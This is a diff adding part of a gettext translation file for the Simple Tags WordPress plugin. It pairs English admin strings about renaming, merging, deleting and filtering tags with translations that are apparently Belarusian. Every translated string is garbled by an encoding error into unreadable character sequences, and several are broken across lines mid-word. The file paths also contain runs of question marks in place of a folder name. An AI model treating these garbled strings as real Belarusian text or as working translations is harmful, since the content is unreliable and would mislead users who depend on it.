+msgstr "ÐÐ²ÑÑÐ°Ð¹ÐœÐ°, ÐŽÑÐ°ÐºÑÑÐ²Ð°ÑÑÑ ÑÐ±ÑÐŽÐŸÐ²Ñ ÐœÐµ Ð²ÑÐŽÐ°Ð»ÑÐµ Ð»ÑÐ±ÑÑ ÑÐ³ÐŸ ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ, ÐºÐ°Ð»Ñ Ð²Ñ Ð¶Ð°ÐŽÐ°ÐµÑÐµ ÑÐ¿ÑÐœÑÑÑ ÐžÑÐ¿ÐŸÐ»ÑÐ·Ð²Ð°ÑÑ Simple Tags, ÐºÐ°Ð»Ñ Ð»Ð°ÑÐºÐ° Ð²ÑÐŽÐ°Ð»ÑÑÐµ <strong>ÑÑÑ</strong> ÐœÐ°Ð»Ð°ÐŽÑ Ð¿ÐµÑÐ°ÐŽ ÐŽÑÐ°ÐºÑÑÐ²Ð°ÑÑÑÐ¹ ÑÐ±ÑÐŽÐŸÐ²Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:541
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:540
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "ÐÑÑÐ° Ð²ÑÐŽÐ°Ð»ÑÑÑ ÑÑÐµ ÐœÐ°Ð»Ð°ÐŽÑ Simple Tags. <strong>ÐÑÑÐ° ÐœÐµÐ·Ð²Ð°ÑÐŸÑÐœÐ°! ÐÑÐŽÐ·ÑÑÐµ Ð°ÑÑÑÑÐŸÐ¶ÐœÑÑ.</strong>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:544
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:543
+msgid "Delete all options ?"
+msgstr "ÐÑÐŽÐ°Ð»ÑÑÑ ÑÑÐµ ÐœÐ°Ð»Ð°ÐŽÑ ?"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:568
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1714
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:565
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:1206
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "ÐÑÐ°Ð±Ð»ÐµÐŒÐ° Ð· Ð±ÑÑÐ¿ÐµÐºÐ°Ð¹. ÐÐ°ÑÐ¿ÑÐ°Ð±ÑÐ¹ÑÐµ Ð·ÐœÐŸÑ. ÐÐ°Ð»Ñ Ð¿ÑÐ°Ð±Ð»ÐµÐŒÐ° ÑÑÐ°Ð»Ð°Ñ, Ð·Ð²ÑÐ¶ÑÑÐµÑÑ Ð· <a href=\"mailto:amaury@wordpress-fr.net\">Ð°ÑÑÐ°ÑÐ°ÐŒ ÑÐ±ÑÐŽÐŸÐ²Ñ</a>."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:601
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:171
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:161
+msgid "Most popular"
+msgstr "Ð¡Ð°ÐŒÑÑ Ð¿Ð°Ð¿ÑÐ»ÑÑÐœÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:602
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:161
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:172
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:151
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:162
+msgid "Least used"
+msgstr "ÐÐ¿ÐŸÑÐœÑÑ ÑÐºÐ°ÑÑÑÑÐ°ÐœÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:603
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:158
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.widgets.php:169
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:148
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.widgets.php:159
+msgid "Alphabetical"
+msgstr "ÐÐ»ÑÐ°Ð²ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:634
+msgid "Existing Tags"
+msgstr "ÐÐ°ÑÑÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:638
+msgid "Search tags"
+msgstr "ÐÐŸÑÑÐº Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:642
+msgid "Go"
+msgstr "ÐÐ°Ð¿ÐµÑÐ°ÐŽ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:645
+msgid "Sort Order:"
+msgstr "ÐÐ°ÑÐ°ÐŽÐ°Ðº ÑÐ°ÑÑÐ°Ð²Ð°ÐœÐœÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:660
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1844
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "ÐÑÐ°Ð³Ð»ÑÐŽÐ·ÐµÑÑ ÑÑÐµ Ð·Ð°Ð¿ÑÑÑ, Ð¿Ð°Ð·ÐœÐ°ÑÐ°ÐœÑÑ Ð·  %s"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:671
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1859
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1861
+msgid "Previous tags"
+msgstr "ÐÐ°Ð¿ÑÑÑÐŽÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:671
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1865
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1867
+msgid "Next tags"
+msgstr "ÐÐ°ÑÑÑÐ¿ÐœÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:679
+msgid "Rename Tag"
+msgstr "ÐÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:680
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÐŽÐ»Ñ Ð¿ÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÐœÐœÑ Ñ ÑÐµ ÐœÐŸÐ²Ð°Ðµ Ð·ÐœÐ°ÑÑÐœÐœÐµ. ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑ Ð³ÑÑÑÑ ÑÑÐœÐºÑÑÑ ÑÐ°ÐºÑÐ°ÐŒÐ° ÐŽÐ»Ñ Ð°Ð±'ÑÐŽÐœÐ°ÐœÐœÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº. ÐÐ°ÑÑÑÐœÑÑÐµ \"ÐÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÑÑ\" Ñ ÑÑÐµ Ð·Ð°Ð¿ÑÑÑ, ÑÐºÑÑ Ð²ÑÐºÐ°ÑÑÑÑÐ°ÑÑÑ Ð³ÑÑÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ, Ð±ÑÐŽÑÑÑ Ð°Ð±ÐœÐŸÑÐ»ÐµÐœÑÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:681
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:722
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐ·ÐœÐ°ÑÑÑÑ ÐœÐµÐºÐ°Ð»ÑÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ»Ñ Ð¿ÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÐœÐœÑ Ð· ÐŽÐ°Ð¿Ð°ÐŒÐŸÐ³Ð°Ð¹ Ð¿Ð°ÐŽÐ·ÐµÐ»Ñ ÐºÐŸÑÐºÐ°ÐŒÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:686
+msgid "Tag(s) to rename:"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ°(Ñ) ÐŽÐ»Ñ Ð¿ÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÐœÐœÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:687
+msgid "New tag name(s):"
+msgstr "ÐÐŸÐ²Ð°Ðµ(ÑÐµ) ÑÐŒÑ(ÐœÐ°) Ð¿Ð°Ð·ÐœÐ°ÐºÑ(ÐŸÐº):"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:688
+msgid "Rename"
+msgstr "ÐÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:693
+msgid "Delete Tag"
+msgstr "ÐÑÐŽÐ°Ð»ÑÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:694
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÑÐŒÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÐŽÐ»Ñ Ð²ÑÐŽÐ°Ð»ÐµÐœÐœÑ. ÐÑÑÐ°Ñ Ð¿Ð°Ð·ÐœÐ°ÐºÐ° Ð±ÑÐŽÐ·Ðµ Ð²ÑÐŽÐ°Ð»ÐµÐœÐ°Ñ Ð· ÑÑÑÑ
+ Ð·Ð°Ð¿ÑÑÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:695
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð²ÑÐ·ÐœÐ°ÑÑÑÑ ÐœÐµÐºÐ°Ð»ÑÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ»Ñ Ð²ÑÐŽÐ°Ð»ÐµÐœÐœÑ, Ð¿Ð°ÐŽÐ·ÑÐ»ÑÑÑÑ ÑÑ
+ ÐºÐŸÑÐºÐ°ÐŒÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:700
+msgid "Tag(s) to delete:"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ°(Ñ) ÐŽÐ»Ñ Ð²ÑÐŽÐ°Ð»ÐµÐœÐœÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:701
+msgid "Delete"
+msgstr "ÐÑÐŽÐ°Ð»ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:706
+msgid "Add Tag"
+msgstr "ÐÐ°ÐŽÐ°ÑÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:707
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "ÐÑÑÐ°Ñ ÑÑÐœÐºÑÑÑ ÐŽÐ°Ð·Ð²Ð°Ð»ÑÐµ ÐŽÐ°ÐŽÐ°ÑÑ Ð°ÐŽÐœÑ Ð°Ð±ÐŸ ÐœÐµÐºÐ°Ð»ÑÐºÑ ÐœÐŸÐ²ÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº Ð²Ð° ÑÑÐµ Ð·Ð°Ð¿ÑÑÑ ÑÐºÑÑ Ð°ÐŽÐ¿Ð°Ð²ÑÐŽÐ°ÑÑÑ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÑÐŒ Ð¿Ð°Ð·ÐœÐ°ÐºÐ°ÐŒ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:708
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "ÐÑ ÐŒÐŸÐ¶Ð°ÑÐµ Ð·Ð°ÐŽÐ°ÑÑ ÐŒÐœÐŸÑÑÐ²Ð° Ð¿Ð°Ð·Ð°ÐœÐ°Ðº, Ð¿Ð°ÐŽÐ·ÑÐ»ÑÑÑÑ ÑÑ
+ ÐºÐŸÑÐºÐ°ÐŒÑ. ÐÐ°Ð»Ñ Ð²Ñ Ð¶Ð°ÐŽÐ°ÐµÑÐµ ÐºÐ°Ð± Ð¿Ð°Ð·ÐœÐ°ÐºÐ°(Ñ) Ð±ÑÐ»Ñ ÐŽÐ°ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ Ð²Ð° ÑÑÐµ Ð·Ð°Ð¿ÑÑÑ, ÑÐ°ÐŽÑ ÐœÐµ Ð·Ð°ÐŽÐ°Ð²Ð°Ð¹ÑÐµ ÐœÑÑÐºÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐŽÐ»Ñ ÑÑÐ¿Ð°ÐŽÐ·ÐµÐœÐœÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:713
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:728
+msgid "Tag(s) to match:"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ°(Ñ) ÐŽÐ»Ñ ÑÑÐ¿Ð°ÐŽÐ·ÐµÐœÐœÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:714
+msgid "Tag(s) to add:"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ°(Ñ) ÐŽÐ»Ñ ÐŽÐ°ÐŽÐ°ÐœÐœÑ:"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:715
+msgid "Add"
+msgstr "ÐÐ°ÐŽÐ°ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:720
+msgid "Edit Tag Slug"
+msgstr "Ð ÑÐŽÐ°Ð³Ð°Ð²Ð°ÑÑ ÐºÐ°ÑÐŸÑÐºÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ (slug)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:721
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "Ð£Ð²ÑÐŽÐ·ÑÑÐµ ÑÐŒÑ Ð¿Ð°Ð·ÐœÐ°ÐºÑ ÐŽÐ»Ñ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÑ Ñ ÑÐµ ÐœÐŸÐ²ÑÑ ÐºÐ°ÑÐŸÑÐºÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Ð°Ð·ÐœÐ°ÑÑÐœÐœÐµ ÐÐ°ÑÐŸÑÐºÐ°Ð¹ ÑÐ¿Ð°ÑÑÐ»ÐºÑ</a>"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:732
+msgid "Slug(s) to set:"
+msgstr "Ð£ÑÑÐ°Ð»ÑÐ²Ð°ÑÑ ÐºÐ°ÑÐŸÑÐºÑÑ ÑÐ¿Ð°ÑÑÐ»ÐºÑ(Ñ):"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:737
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:916
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:785
+msgid "Edit"
+msgstr "Ð ÑÐŽÐ°Ð³Ð°Ð²Ð°ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:743
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:577
+msgid "Remove empty terms"
+msgstr "ÐÑÐŽÐ°Ð»ÑÑÑ Ð¿ÑÑÑÑÑ ÑÑÑÐŒÑÐœÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:744
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 ÐŒÐ°Ðµ ÐœÐµÐ²ÑÐ»ÑÐºÑ Ð±Ð°Ð³ Ñ ÐŒÐŸÐ¶Ð° ÑÑÐ²Ð°ÑÐ°ÑÑ Ð¿ÑÑÑÑÑ ÑÑÑÐŒÑÐœÑ. ÐÑÐŽÐ°Ð»ÑÑÑ ÑÑ
+ !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:748
+msgid "Clean !"
+msgstr "ÐÑÑÑÑÑÑÑ !"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "ÐÐŸÑÑÐº ÑÑÑÐŒÑÐœÐ°Ñ&hellip;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:854
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:755
+msgid "Quantity&hellip;"
+msgstr "ÐÐŸÐ»ÑÐºÐ°ÑÑÑâŠ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "ÐÑÑÐ°Ñ&hellip;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "ÐÑÐ±Ñ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "Ð¢ÑÐ¿&hellip;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "ÐÐ°Ð¿ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "Ð¡ÑÐ°ÑÐŸÐœÐºÐ°"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "ÐÐ°ÑÐ°ÐŽÐ°Ðº&hellip;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "ÐÐ°ÑÐ° (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ Ð·ÐŒÑÐœÑÑÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "ÐÐ°ÑÐ° (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ ÑÐ·ÑÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ Ð·ÐŒÑÐœÑÑÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (Ñ Ð¿Ð°ÑÐ°ÐŽÐºÑ ÑÐ·ÑÐ°ÑÑÐ°ÐœÐœÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "Ð€ÑÐ»ÑÑÑ&hellip;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "Ð£ÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "Ð¢ÐŸÐ»ÑÐºÑ Ð±ÐµÐ· Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "Ð€ÑÐ»ÑÑÑÐ°Ð²Ð°ÑÑ &#187;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:912
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ ÑÑÑ"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:936
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/inc/simple-tags.admin.php:815
+msgid "No content to edit."
+msgstr "ÐÑÐŒÐ° ÐºÐ°ÐœÑÑÐœÑÑ ÐŽÐ»Ñ ÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐœÑ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÑ (Ð¿Ð°ÐŽÐ·ÑÐ»ÑÐ¹ÑÐµ ÐœÐµÐºÐ°Ð»ÑÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº ÐºÐŸÑÐºÐ°ÐŒÑ: ÐœÐ°Ð¿ÑÑÐºÐ»Ð°ÐŽ: ÐºÐŸÑÐºÑ, ÐµÐ¶Ð° ÐŽÐ»Ñ Ð¶ÑÐ²ÑÐ»ÑÐœ, ÑÐ°Ð±Ð°ÐºÑ)"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1105
+msgid "No new tag specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ Ð¿Ð°Ð·ÐœÐ°ÐºÐ° ÐœÐµ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÐ°Ñ!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1124
+msgid "No new/old valid tag specified!"
+msgstr "ÐÐŸÐ²Ð°Ñ/ÑÑÐ°ÑÐ°Ñ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ ÐœÐµ ÐŽÐ°ÐºÐ»Ð°ÐŽÐœÐ°!"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1156
+msgid "No tag renamed."
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ° ÐœÐµ Ð¿ÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1159
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "ÐÐµÑÐ°ÐœÐ°Ð·Ð²Ð°ÐœÐ°Ñ(Ñ) Ð¿Ð°Ð·ÐœÐ°ÐºÐ°(Ñ) &laquo;%1$s&raquo; Ñ &laquo;%2$s&raquo;"
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1166
+msgid "No valid new tag."
+msgstr "ÐÐŸÐ²Ð°Ñ Ð¿Ð°Ð·ÐœÐ°ÐºÐ° ÐœÐµ Ð¿ÑÐ°Ð²ÑÐ»ÑÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1183
+msgid "No objects (post/page) found for specified old tags."
+msgstr "ÐÐµ Ð·ÐœÐŸÐ¹ÐŽÐ·ÐµÐœÐ° Ð°Ð±'ÐµÐºÑÐ°Ñ (ÑÑÐ°ÑÐŸÐœÐ°Ðº/Ð·Ð°Ð¿ÑÑÐ°Ñ) ÐŽÐ»Ñ Ð·Ð°ÐŽÐ°ÐŽÐ·ÐµÐœÑÑ
+ ÑÑÐ°ÑÑÑ
+ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1208
+msgid "No tag merged."
+msgstr "ÐÐ°Ð·ÐœÐ°ÐºÐ° ÐœÐµ Ð°Ð±'ÑÐŽÐœÐ°ÐœÐ°Ñ."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1211
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "ÐÐ±'ÑÐŽÐœÐ°ÐœÐœÐµ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº &laquo;%1$s&raquo; Ñ &laquo;%2$s&raquo;. %3$s Ð°Ð±'ÐµÐºÑÐ°Ñ Ð°ÐŽÑÑÐŽÐ°Ð³Ð°Ð²Ð°ÐœÐ°."
+
+#: X:\web\???????????\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/inc/simple-tags.admin.php:1214
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
